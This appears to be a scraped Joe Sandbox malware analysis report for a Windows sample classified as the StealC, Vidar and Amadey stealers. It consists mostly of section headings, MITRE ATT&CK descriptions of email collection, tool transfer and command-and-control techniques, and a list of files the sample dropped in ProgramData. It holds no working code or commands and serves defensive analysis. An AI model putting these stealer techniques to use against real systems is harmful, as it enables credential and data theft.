Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report j7iUba2bki.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AECAKJJECAEGCBGDHDHC

C:\ProgramData\BKJEHCAK

C:\ProgramData\CFIJEBFCGDAAKFHIDBFIDBKFHJ

C:\ProgramData\GDHIIIIE

C:\ProgramData\GIEHIDHJDBFIIECAKECBKJJKKE

C:\ProgramData\IEBAAFCAFCBKFHJJJKKFHIDAAK

C:\ProgramData\IIEHJEHDBGHIDGDGHCBGDGCBFI

C:\ProgramData\JDBGDHIIDAEBFHJJDBFI

C:\ProgramData\KJECFHCBKKEBAKFIJDHI

C:\ProgramData\freebl3.dll

Windows Analysis Report
j7iUba2bki.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre